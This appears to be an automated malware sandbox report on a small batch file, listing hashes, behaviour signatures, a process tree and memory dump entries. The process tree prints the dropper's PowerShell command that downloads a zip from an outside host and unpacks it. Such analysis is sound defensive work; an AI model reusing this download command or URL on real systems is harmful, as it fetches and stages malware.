1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1814s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy - Copy (10).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1452	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1452	powershell.exe
2680	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1420 wrote to memory of 1452	1420	cmd.exe	28
PID 1420 wrote to memory of 1452	1420	cmd.exe	28
PID 1420 wrote to memory of 1452	1420	cmd.exe	28
PID 1420 wrote to memory of 2680	1420	cmd.exe	29
PID 1420 wrote to memory of 2680	1420	cmd.exe	29
PID 1420 wrote to memory of 2680	1420	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a27dd3363c3d4c4c4a7d6c7d0839cdcb

SHA1
efb135a9e64dd75d25519adc00699301d2f87431

SHA256
ba627d6c1b569580543f117a9247b9c6a660430171799b25ee0075fbb261fac0

SHA512
15399d28b453ca7e189ffca12d684a0aa77dd82d86ed9bf0ef463d934e9e58027ce1c23b7bc1e9d0a90da4da5a1a6f9ecd45c183a497ed17a05b4f50be5f2a42

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7XQI03ENSH6I726X4PN2.temp

Filesize
7KB

MD5
a27dd3363c3d4c4c4a7d6c7d0839cdcb

SHA1
efb135a9e64dd75d25519adc00699301d2f87431

SHA256
ba627d6c1b569580543f117a9247b9c6a660430171799b25ee0075fbb261fac0

SHA512
15399d28b453ca7e189ffca12d684a0aa77dd82d86ed9bf0ef463d934e9e58027ce1c23b7bc1e9d0a90da4da5a1a6f9ecd45c183a497ed17a05b4f50be5f2a42

Download Submit
memory/1452-16-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1452-18-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/1452-8-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1452-9-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1452-10-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1452-11-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/1452-12-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/1452-13-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1452-14-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1452-7-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1452-6-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/1452-4-0x000000001B3A0000-0x000000001B682000-memory.dmp

Filesize
2.9MB

Download
memory/1452-15-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1452-5-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2680-24-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/2680-26-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-25-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2680-27-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-28-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2680-29-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2680-30-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2680-31-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

Filesize
9.6MB

Download